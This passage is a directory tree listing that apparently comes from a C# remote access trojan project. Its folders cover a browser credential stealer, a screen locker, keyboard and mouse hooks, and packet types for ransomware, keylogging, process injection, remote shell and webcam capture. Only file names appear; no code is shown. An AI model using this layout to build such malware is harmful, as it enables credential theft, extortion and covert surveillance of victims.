0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 10E7D3CBF005D264CCB1067D6B6A9B6C6FC54471.costura.hookhardware.dll.compressed │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 3554A9B96630E715949B9482363B33601E94A649.costura.hookhardware.dll.compressed │ │ │ │ ├── 38FA62858EC728C3915A4C6EEEBD10CB16BF15C6.costura.hookhardware.pdb.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 49B2A7751F60F726154157DD00BE5E9C6307A463.costura.hookhardware.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ ├── 537330A6D5428FE8855405333F97DD9DB462CEAE.costura.hookhardware.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ ├── 701C3F9396DAEA8C57A1A6E4A8CDD95EF45B70CD.costura.hookhardware.pdb.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ ├── A79F900991CFD8A28B6D0572D0FCFCF083622301.costura.hookhardware.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B6882FC314800A252F8DC908E2BC947A869C55B8.costura.hookhardware.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── B8289B97BBF269003497199490DC10CC5A9E9D9A.costura.hookhardware.dll.compressed │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ ├── D6B7538AE9BA7B519831D66006D6C93A3E538AB0.costura.hookhardware.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── ECA88308F62F8483DED18C98909B637273316C61.costura.hookhardware.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ ├── F60BE60862EC942C43E0709AD1CC6ADDA874DD19.costura.hookhardware.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Plugin.ScreenLocker.resources │ │ │ ├── ScreenLocker.csproj.AssemblyReference.cache │ │ │ ├── ScreenLocker.csproj.CoreCompileInputs.cache │ │ │ ├── ScreenLocker.csproj.FileListAbsolute.txt │ │ │ ├── ScreenLocker.csproj.Fody.CopyLocal.cache │ │ │ ├── ScreenLocker.csproj.GenerateResource.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ └── Stealer/ │ ├── ChromiumAutofill.cs │ ├── ChromiumHistory.cs │ ├── ChromiumKeywords.cs │ ├── ChromiumRecovery.cs │ ├── ClientHandler.cs │ ├── FireFoxRecovery.cs │ ├── Launch.cs │ ├── Properties/ │ │ └── AssemblyInfo.cs │ ├── Stealer.csproj │ └── obj/ │ ├── Debug/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 093B1CECD25C84D83FA542739A470E5176C0ECC3.costura.packetlib.dll.compressed │ │ │ ├── 0ACFB18416374D87D9A8F41AA16904779FAFC98B.costura.packetlib.dll.compressed │ │ │ ├── 11C144B51D406A1FDA5622AC80744F41C1F54B41.costura.packetlib.dll.compressed │ │ │ ├── 12AA5E40D6E2F94318B5C8F344119BB9BE9C6E8E.costura.packetlib.dll.compressed │ │ │ ├── 14D89B776BC1B6F35BC9E1471948B3BA6FA40B5F.costura.packetlib.dll.compressed │ │ │ ├── 15B6D921A0888166B66779D854ED2F429F5E0DB8.costura.packetlib.dll.compressed │ │ │ ├── 169D9715E5055B4695017FABC70BDC67BA96C3EB.costura.packetlib.dll.compressed │ │ │ ├── 1B6A595A5483B79FE77D5C94EA6629C8D6F9BC3F.costura.packetlib.dll.compressed │ │ │ ├── 1D27C8364B81D446EB8E88B116B7A0C09D01681C.costura.packetlib.dll.compressed │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ ├── 2E8DE5838A28E8C6013A58EB269CAAA34B93DD7B.costura.packetlib.dll.compressed │ │ │ ├── 2F18FE4B8E2017B52E5CA85A7BDD0BD4E6B54171.costura.packetlib.dll.compressed │ │ │ ├── 33867E33601BC7E54BB7B0E809B1B6CA6F92A296.costura.packetlib.dll.compressed │ │ │ ├── 35DA33868357D20B7950F93585CCE057BEBFED71.costura.packetlib.dll.compressed │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ ├── 4BE517A006839CFA1DEC9930EAA5B319D92819D3.costura.packetlib.dll.compressed │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ ├── 574F4EEA41F5F2738728AD7FC91F9464C8A32220.costura.packetlib.dll.compressed │ │ │ ├── 58B7790B7A9E3AE1AADCF722F6A715F81C058BFD.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 59DF63E02F616DC1B2A325E7715A2F4CEFE9A170.costura.packetlib.dll.compressed │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ ├── 63EF65944CB0DF6531CECC82F495A6E13F910A7A.costura.packetlib.dll.compressed │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ ├── 67E0CC3CB01C0C868ECD3CCB7699F6AB461CB1CF.costura.packetlib.dll.compressed │ │ │ ├── 6AF049DECCD6D8E290917D8E36B8738EE5D88554.costura.packetlib.dll.compressed │ │ │ ├── 6CE4FB41D327CB76FA40B68828CE5A6459CF9248.costura.packetlib.dll.compressed │ │ │ ├── 72DCABA51E82CF694893ECFA26A73DAF0068BD5C.costura.packetlib.dll.compressed │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ ├── 7EBD6DF9C00B35FB7A99F38EE7E2BCC73CED833D.costura.packetlib.dll.compressed │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ ├── 894362D086B3A52F3B4495D8A886E18058867328.costura.packetlib.dll.compressed │ │ │ ├── 89CA7B756CF6BCD416A9DE6FE172B44C30F5FA83.costura.packetlib.dll.compressed │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ ├── A5E325D30DF28A8EB3305AFBD760DB72AA6B2A19.costura.packetlib.dll.compressed │ │ │ ├── A8161DF85C64179973A14391011607232CF35A08.costura.packetlib.dll.compressed │ │ │ ├── A979F8E1ED39DF411F0A84AB3A9569C098A26104.costura.packetlib.dll.compressed │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ ├── B3FB9A806031C6E90FD1B8E56FB8B3E422D707C4.costura.packetlib.dll.compressed │ │ │ ├── B51D281B68E249E89E593566C361D282059D7759.costura.packetlib.dll.compressed │ │ │ ├── BD369616EEBE2CFF49C8828E98895BBD47CB6929.costura.packetlib.dll.compressed │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ ├── C379523049BA2A34327E985B0830EA2F76F84FBA.costura.packetlib.dll.compressed │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ ├── CBB500B81E15EF505EFBF9D3A80789AD9BBABDE5.costura.packetlib.dll.compressed │ │ │ ├── CBEBD86C850722966510D1BF4199D940FE41FA3E.costura.packetlib.dll.compressed │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ ├── D397680813DE441E4E240A6FD77D4EE02E59FFD4.costura.packetlib.dll.compressed │ │ │ ├── D70FCF77F5B2ABAC385D3CC8F4271D685FE093FC.costura.packetlib.dll.compressed │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ ├── E0AD6522263EC86D238F24EA03673DCF97CA5966.costura.packetlib.dll.compressed │ │ │ ├── E23690713F21D4E3D0EDAE8A9D30B6D81A24B427.costura.packetlib.dll.compressed │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ ├── E91981D9DBF9D1A44C47C478DC5976BA71226EA8.costura.packetlib.dll.compressed │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ ├── F1D4601669257E3E556EB1C7EEB883D5F3467A37.costura.packetlib.dll.compressed │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ ├── F5620B67C66223652A38725BC49476F1CFA3ED53.costura.packetlib.dll.compressed │ │ │ ├── F8EC64B2D9B366E1918BA7CDDA67169F986C8B12.costura.packetlib.dll.compressed │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ ├── FAA207544D6166658F1ED74A439DDF6A2E2F477D.costura.packetlib.dll.compressed │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Stealer.csproj.AssemblyReference.cache │ │ ├── Stealer.csproj.CoreCompileInputs.cache │ │ ├── Stealer.csproj.FileListAbsolute.txt │ │ ├── Stealer.csproj.Fody.CopyLocal.cache │ │ └── build.force │ ├── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 7D42CDFC44758C5D8721E71785221053C8796D44.costura.packetlib.pdb.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── BCCEE1AC6832C9F4B6B442C2E6A79AF0B45AF160.costura.packetlib.dll.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Stealer.csproj.AssemblyReference.cache │ │ ├── Stealer.csproj.CoreCompileInputs.cache │ │ ├── Stealer.csproj.FileListAbsolute.txt │ │ ├── Stealer.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ └── x64/ │ └── Release/ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── Stealer.csproj.AssemblyReference.cache ├── Utils/ │ ├── HookHardware/ │ │ ├── Global.cs │ │ ├── HookHardware.csproj │ │ ├── Imports.cs │ │ ├── Keyboard.cs │ │ ├── Mouse.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── HookHardware.csproj.AssemblyReference.cache │ │ │ ├── HookHardware.csproj.CoreCompileInputs.cache │ │ │ └── HookHardware.csproj.FileListAbsolute.txt │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── HookHardware.csproj.AssemblyReference.cache │ │ ├── HookHardware.csproj.CoreCompileInputs.cache │ │ ├── HookHardware.csproj.FileListAbsolute.txt │ │ └── _IsIncrementalBuild │ └── PacketLib/ │ ├── Interface/ │ │ └── IPacket.cs │ ├── LoadingAPI.cs │ ├── Packet/ │ │ ├── Audio/ │ │ │ ├── RemoteAudioCapturePacket.cs │ │ │ └── RemoteAudioPacket.cs │ │ ├── Client/ │ │ │ ├── BaseIpPacket.cs │ │ │ ├── ClosePacket.cs │ │ │ ├── ConnectedPacket.cs │ │ │ └── UninstallPacket.cs │ │ ├── Desktop/ │ │ │ ├── RemoteKeyboardPacket.cs │ │ │ ├── RemoteMousePacket.cs │ │ │ └── RemoteViewerPacket.cs │ │ ├── File/ │ │ │ ├── DeleteFilePacket.cs │ │ │ ├── DiskPacket.cs │ │ │ ├── DownloadFilePacket.cs │ │ │ ├── FileManagerPacket.cs │ │ │ ├── RenameFilePacket.cs │ │ │ ├── ShortCutFileManagersPacket.cs │ │ │ ├── StartFilePacket.cs │ │ │ └── UploadFilePacket.cs │ │ ├── Miscellaneous/ │ │ │ ├── InformationPacket.cs │ │ │ ├── KeylogOfflinePacket.cs │ │ │ ├── KeylogPacket.cs │ │ │ ├── MemoryExecutionPacket.cs │ │ │ ├── MiscellaneousPacket.cs │ │ │ ├── NetworkInformationPacket.cs │ │ │ ├── OpenUrlPacket.cs │ │ │ ├── PowerPacket.cs │ │ │ ├── RemoteChatPacket.cs │ │ │ ├── RemoteCodeExecution.cs │ │ │ ├── ScreenRotationPacket.cs │ │ │ └── WallPaperPacket.cs │ │ ├── PacketState.cs │ │ ├── PacketType.cs │ │ ├── Process/ │ │ │ ├── ProcessInjectionPacket.cs │ │ │ ├── ProcessKillerPacket.cs │ │ │ ├── ProcessManagerPacket.cs │ │ │ ├── ResumeProcessPacket.cs │ │ │ └── SuspendProcessPacket.cs │ │ ├── Ransomware/ │ │ │ ├── RansomwareConfirmationPacket.cs │ │ │ ├── RansomwareDecryptionPacket.cs │ │ │ └── RansomwareEncryptionPacket.cs │ │ ├── Recovery/ │ │ │ ├── AutofillPacket.cs │ │ │ ├── HistoryPacket.cs │ │ │ ├── KeywordsPacket.cs │ │ │ ├── PasswordsPacket.cs │ │ │ └── RecoveryPacket.cs │ │ ├── Shell/ │ │ │ ├── NewCommandShellSessionPacket.cs │ │ │ ├── StartShellSessionPacket.cs │ │ │ ├── StdOutShellSessionPacket.cs │ │ │ └── StopShellSessionPacket.cs │ │ ├── UAC/ │ │ │ ├── AskAdminRightsPacket.cs │ │ │ ├── DeleteRestorePointPacket.cs │ │ │ └── RestorePointPacket.cs │ │ └── WebCam/ │ │ ├── RemoteCameraCapturePacket.cs │ │ └── RemoteCameraPacket.cs │ ├── PacketLib.csproj │ ├── Properties/ │ │ └── AssemblyInfo.cs │ ├── Utils/ │ │ ├── Algorithm.cs │ │ ├── Compressor.cs │ │ ├── Encryption.cs │ │ ├── Host.cs │ │ ├── HwidGen.cs │ │ ├── ImageProcessing.cs │ │ ├── Miscellaneous.cs │ │ ├── Native.cs │ │ └── Serializer.cs │ └── obj/ │ ├── Debug/ │ │ 